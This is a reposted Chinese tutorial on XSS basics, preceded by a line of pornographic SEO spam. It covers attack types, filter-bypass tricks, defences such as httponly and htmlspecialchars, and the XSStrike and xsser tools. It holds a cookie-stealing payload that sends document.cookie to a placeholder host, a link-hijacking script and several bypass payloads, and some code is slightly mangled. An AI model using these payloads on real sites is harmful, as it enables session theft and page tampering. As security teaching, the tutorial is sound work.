久久国产成人av_抖音国产毛片_a片网站免费观看_A片无码播放手机在线观看,色五月在线观看,亚洲精品m在线观看,女人自慰的免费网址,悠悠在线观看精品视频,一级日本片免费的,亚洲精品久,国产精品成人久久久久久久

分享

[總結(jié)]XSS基礎(chǔ)

 印度阿三17 2020-12-27

文章目錄


XSS,,跨站腳本攻擊(Cross Site Scripting),為了不和CSS縮寫(xiě)混淆,,故縮寫(xiě)為XSS,。

1 XSS分類(lèi)

1.1 反射型XSS

又稱(chēng)非持久性XSS,這種攻擊往往具有一次性,。

攻擊者通過(guò)郵件等形式將包含XSS代碼的鏈接發(fā)送給正常用戶,,當(dāng)用戶點(diǎn)擊時(shí),服務(wù)器接受該用戶的請(qǐng)求并進(jìn)行處理,,然后把帶有XSS的代碼發(fā)送給用戶,,用戶瀏覽器解析執(zhí)行代碼,觸發(fā)XSS漏洞,。

例如:

<?php echo $_GET[“uname”] ?>

1.2 存儲(chǔ)型XSS

又稱(chēng)持久性XSS,,攻擊腳本存儲(chǔ)在目標(biāo)服務(wù)器的數(shù)據(jù)庫(kù)種,具有更強(qiáng)的隱蔽性,。

攻擊者在論壇,、博客、留言板,,發(fā)帖的過(guò)程中嵌入XSS攻擊代碼,,帖子被目標(biāo)服務(wù)器存儲(chǔ)在數(shù)據(jù)庫(kù)中。當(dāng)用戶進(jìn)行正常訪問(wèn)時(shí),,觸發(fā)XSS代碼,。

例如:DVWA中的Stored XSS

1.3 DOM型XSS

全稱(chēng)Document Object Model,使用DOM動(dòng)態(tài)訪問(wèn)更新文檔的內(nèi)容,、結(jié)構(gòu)及樣式,。

服務(wù)器響應(yīng)不會(huì)處理攻擊者腳本,而是用戶瀏覽器處理這個(gè)響應(yīng)時(shí),,DOM對(duì)象就會(huì)處理XSS代碼,,觸發(fā)XSS漏洞。

2 XSS危害

2.1 cookie介紹

Cookie是在HTTP協(xié)議下,,服務(wù)器或腳本可以維護(hù)客戶工作站上信息的一種方式,,Cookie是由web服務(wù)器保存在用戶瀏覽器(客戶端)上的小文件,他可以包含有關(guān)用戶的信息,。

目前有些cookie是臨時(shí)的,,有些是持續(xù)的,。臨時(shí)的Cookie只在瀏覽器上保存一段規(guī)定的時(shí)間,一旦超過(guò)規(guī)定的時(shí)間,,該cookie就會(huì)被系統(tǒng)清楚,。

服務(wù)器可以利用cookie包含信息的任意性來(lái)篩選并經(jīng)常性維護(hù)這些信息,以判斷在HTTP傳輸中的狀態(tài),。

cookie最典型的應(yīng)用是判定注冊(cè)用戶是否已經(jīng)登錄網(wǎng)站,,用戶可能會(huì)得到提示,是否在下一次進(jìn)入此網(wǎng)站時(shí)保留用戶信息以便簡(jiǎn)化登錄手續(xù),,這些都是cookie的功用,。另一個(gè)重要應(yīng)用場(chǎng)合是“購(gòu)物車(chē)”之類(lèi)處理。用戶可能會(huì)在一段時(shí)間內(nèi)在同一家網(wǎng)站的不同頁(yè)面中選擇不同的商品,,這些信息都會(huì)寫(xiě)入cookie,,以便在最后付款時(shí)提取信息。

2.2 盜取用戶信息

若存在反射型XSS漏洞的站點(diǎn)位置,,可以利用以下鏈接來(lái)盜取cookie:

url?uname=<script>document.location=http://ip/cookies.php?cookie=" document.cookie</script>

其中的鏈接是惡意鏈接,,目的是獲取cookie并發(fā)送到惡意者的網(wǎng)站中。

此外,,可利用cookie值,訪問(wèn)目標(biāo)站點(diǎn),,利用獲取的cookie值來(lái)訪問(wèn)網(wǎng)站,,從而盜取用戶信息。

2.3 篡改網(wǎng)頁(yè)鏈接

使用JS代碼,,注入到對(duì)于的XSS位置,,篡改網(wǎng)頁(yè)中所有的鏈接。

//window.onload 當(dāng)窗口加載時(shí),,執(zhí)行匿名函數(shù),。
//使用for循環(huán)遍歷獲得所有鏈接a標(biāo)簽
//將所有a標(biāo)簽所有的鏈接都指向構(gòu)造的URL
<script>
    window.onload=function(){var link=document.getElementsByTagName("a");
    for(j=0;j<link.length;j  ){link[j].href="http://URL";
    }
}
</script>

3 XSS存在位置

3.1 探測(cè)XSS

  1. 構(gòu)造一個(gè)獨(dú)一無(wú)二且不會(huì)被識(shí)別為惡意代碼的字符串來(lái)提交到頁(yè)面。

    例如:123qwe

  2. 使用瀏覽器審查工具進(jìn)行代碼審查,,尋找構(gòu)造的字符串是否在頁(yè)面中顯示,。

  3. 如果顯示,則構(gòu)造對(duì)應(yīng)的payload,,例如<script>alert();</script>,,觀察是否彈出警告框,如果有,,則存在XSS漏洞,。

3.2 可能存在的位置

  • html標(biāo)簽中的屬性,例如value值,。

  • 選擇列表中,,例如select標(biāo)簽中的option標(biāo)簽的value值,。

  • html標(biāo)簽事件的事件,例如onload,。

  • GET型URL中

  • POST型表單中

  • JSON中

  • 自定義HTTP頭中

4 繞過(guò)簡(jiǎn)單保護(hù)機(jī)制

4.1 相關(guān)編碼介紹

4.1.1 URL編碼

url的設(shè)計(jì)者,,考慮到安全傳輸?shù)膯?wèn)題,為了防止url字符丟失,,所以選用了相對(duì)較小的,、通用的安全字母表。另一方面,,url的設(shè)計(jì)者希望url是完整的,,有時(shí)候需要url中包含除去通用安全字母表之外的二進(jìn)制數(shù)據(jù)和字符(比如中文)。所以u(píng)rl引入了一種轉(zhuǎn)義機(jī)制,,將不安全的字符編碼為安全字符再進(jìn)行傳輸,。

百分號(hào)編碼:url編碼包含一個(gè)百分號(hào),后面跟著兩個(gè)表示字符ASCII碼的十六進(jìn)制數(shù),。例如:空格轉(zhuǎn)為 ,。

4.1.2 html編碼

一些保留字符出現(xiàn)在文本節(jié)點(diǎn)和標(biāo)簽值里是不安全的。比如“<>”會(huì)導(dǎo)致瀏覽器誤認(rèn)為標(biāo)簽,。如果想要正確的顯示這些字符,,需要使用html編碼。

實(shí)體編碼:一般以“&”開(kāi)頭,,以“;”結(jié)尾,。

進(jìn)制編碼:以“&#”開(kāi)頭,加上字符的數(shù)值,。字符的數(shù)值可以是任意十進(jìn)制ascii碼或Unicode字符編碼,。十六進(jìn)制的數(shù)值需要在編碼數(shù)字前加“x”。

4.1.3 JavaScript編碼

數(shù)字形式:\u后面加上4位16進(jìn)制數(shù)字(或\后加上2位16進(jìn)制數(shù)字),,按字符的Unicode數(shù)值編碼,,不足位數(shù)以零填充。如“<”轉(zhuǎn)為“\u003c”或“\x3c”,。其中,,“\u”開(kāi)頭的Unicode轉(zhuǎn)義方式可以用在字符串之外的位置。

4.2 雙寫(xiě)繞過(guò)

同SQL注入的雙寫(xiě)繞過(guò),,例如服務(wù)端中過(guò)濾了“script”關(guān)鍵字,,一般是直接替換“script”為“”,則可以雙寫(xiě)構(gòu)造payload,,<scrscriptipt>alert(1);</scrscriptipt>來(lái)繞過(guò),。

4.3 編碼繞過(guò)

當(dāng)過(guò)濾了某些關(guān)鍵字時(shí),例如構(gòu)造<script>eval(atob('base64編碼'));</script>來(lái)繞過(guò),。

  • eval:計(jì)算某個(gè)字符串,,并執(zhí)行其中的JS代碼

  • atob:將Base64編碼解碼,。

此外,可以將字符轉(zhuǎn)換為16進(jìn)制編碼或unicode編碼來(lái)運(yùn)行,。

雙斜杠 16進(jìn)制繞過(guò),,例如,\\x3cscript\\x3ealert();\\x3c/script\\x3e

雙斜杠 unicode編碼繞過(guò),,\\u003cscript\\u003ealert();\\u003c/script\\x3e

HTML實(shí)體替換雙引號(hào):“ ”——&#8220; &#8221;

CSS/JS編碼(unicode)替換尖括號(hào):< >——\u003c \u003e

CSS/JS編碼(base16)替換圓括號(hào):( )——\x28 \x29

ANSI編碼替換局部er:alert——alert

4.4 js偽協(xié)議繞過(guò)

將JS代碼添加到偽協(xié)議說(shuō)明符javascript后的URL中,,這個(gè)特殊的協(xié)議類(lèi)型聲明了URL的主體是任意的JS代碼,它由JS的解釋器運(yùn)行,。

例如,,<img>src=javascript:alert(1);

4.5 CSS特性繞過(guò)

可以在屬性中,利用CSS和偽協(xié)議來(lái)繞過(guò),,

例如,,background:url("javascript:alert(document.domain);");

4.6 HTML5特性繞過(guò)

插入新標(biāo)簽,在新標(biāo)簽中構(gòu)造payload,。

例如,,SVG標(biāo)簽。

SVG意為可縮放矢量圖形(Scalable Vector Graphics),。使用XML格式定義圖像,。

SVG文件可通過(guò)以下標(biāo)簽嵌入HTML文檔:<embed>、<object>或者<iframe>,,也可以使用svg標(biāo)簽插入,。

<svg/事件="">

例如,<svg/onload="javascript:alert(1)">

4.7 其他姿勢(shì)

使用反引號(hào)“`”代替圓括號(hào),,如alert(1)替換成alert`1`。

在過(guò)濾中可用空格,,換行穿插在payload,,從而繞過(guò)過(guò)濾機(jī)制,并且不會(huì)影響,。

5 防范措施

5.1 同源策略

在計(jì)算機(jī)中,,同源策略(Same-origin Policy,SOP)用于阻止一個(gè)非同源的頁(yè)面惡意代碼去訪問(wèn)另外一個(gè)非同源頁(yè)面。

只有兩個(gè)頁(yè)面屬于同一個(gè)源才能互相訪問(wèn),,不同源的客戶端腳本在沒(méi)有明確授權(quán)的情況下,,不能讀寫(xiě)對(duì)方資源,所以a.com下的JS腳本采用ajax讀取b.com里面的文件數(shù)據(jù)是會(huì)報(bào)錯(cuò)的,。

例如,,源A頁(yè)面要訪問(wèn)源B頁(yè)面認(rèn)證Cookie,如果不加阻止讀取Cookie,,會(huì)造成Cookies欺騙繞過(guò)登錄驗(yàn)證,。

注意:同源一定要是協(xié)議,、主機(jī)名、端口號(hào)完全一致,。

例如,,http://www.與https://www.是不同源。

此外,,

domain屬性可以解決因同源安全策略帶來(lái)的不同文檔的屬性共享問(wèn)題,。

降域document.domain同源策略認(rèn)為域和子域?qū)儆诓煌挠颉?/p>

可以通過(guò)都設(shè)置document.domain=‘a(chǎn).com’,瀏覽器就會(huì)認(rèn)為他們都是同一個(gè)源,。

5.2 設(shè)置httponly

setcookie(name,value,expire,path,domain,secure)

  • expire可選,。規(guī)定cookie的有效期。

  • path可選,。規(guī)定cookie的服務(wù)器路徑,。

  • domain可選。規(guī)定cookie的域名,。

secure可選,。規(guī)定是否通過(guò)安全的HTTPS連接來(lái)傳輸cookie。如果設(shè)置為true,,就不能使用JS來(lái)獲取cookie,,就可以初步避免cookie劫持。

6 XSS Filter過(guò)濾器

可從網(wǎng)上下載Filter,,也可以使用各種函數(shù)來(lái)過(guò)濾,。

htmlspecialchars()函數(shù)

  • 把預(yù)定義的字符轉(zhuǎn)換為HTML實(shí)體

  • 即將符號(hào)轉(zhuǎn)為真正的字符,例如尖括號(hào)

htmllentities()函數(shù)

  • 這個(gè)函數(shù)對(duì)于過(guò)濾用戶輸入的數(shù)據(jù)非常有用,。它會(huì)將一些特殊字符轉(zhuǎn)換為HTML實(shí)體,,例如,用戶輸入“<”時(shí),,就會(huì)被該函數(shù)轉(zhuǎn)換為實(shí)體“&gt”

strip_tags()函數(shù)

  • 該函數(shù)剝?nèi)プ址械腍TML,、XML以及PHP的標(biāo)簽。

  • 該函數(shù)始終會(huì)剝離HTML注釋,。這點(diǎn)無(wú)法通過(guò)allow參數(shù)改變,。

  • 該函數(shù)是二進(jìn)制安全的。

除此之外,,還可以自定義xss filter,。

7 工具

7.1 XSStrike工具

XSStrike是一款檢測(cè)XSS的高級(jí)檢測(cè)工具。它集成了payload生成器,、爬蟲(chóng)和模糊引擎功能,。XSStrike不是像其他工具那樣注入有效負(fù)載并檢查其工作,二十通過(guò)多個(gè)解析器分析響應(yīng),,然后通過(guò)與模糊引擎集成的上下文分析來(lái)保證有效負(fù)載,。除此之外,,XSStrike還具有爬行,模糊測(cè)試,,參數(shù)發(fā)現(xiàn)WAF檢測(cè)功能,。它還會(huì)掃描DOM XSS漏洞。

項(xiàng)目地址:

https://github.com/s0md3v/XSStrike

運(yùn)行在python3.6

安裝命令:

sudo apt-get install python3-pip

git clone https://XXXXX.git

pip3 install -r requirements.txt

chmod x xsstrike.py

7.2 xsser工具

針對(duì)web應(yīng)用程序自動(dòng)化挖掘,、利用,、報(bào)告XSS漏洞的框架。

工具原理:不斷拼接payload

8 在線靶場(chǎng)

https://xss-quiz./

一個(gè)日本安全研究院制作的XSS練習(xí)靶場(chǎng)

https://xss./

來(lái)源:https://www./content-4-800051.html

    本站是提供個(gè)人知識(shí)管理的網(wǎng)絡(luò)存儲(chǔ)空間,,所有內(nèi)容均由用戶發(fā)布,,不代表本站觀點(diǎn)。請(qǐng)注意甄別內(nèi)容中的聯(lián)系方式,、誘導(dǎo)購(gòu)買(mǎi)等信息,,謹(jǐn)防詐騙。如發(fā)現(xiàn)有害或侵權(quán)內(nèi)容,,請(qǐng)點(diǎn)擊一鍵舉報(bào),。
    轉(zhuǎn)藏 分享 獻(xiàn)花(0

    0條評(píng)論

    發(fā)表

    請(qǐng)遵守用戶 評(píng)論公約

    類(lèi)似文章 更多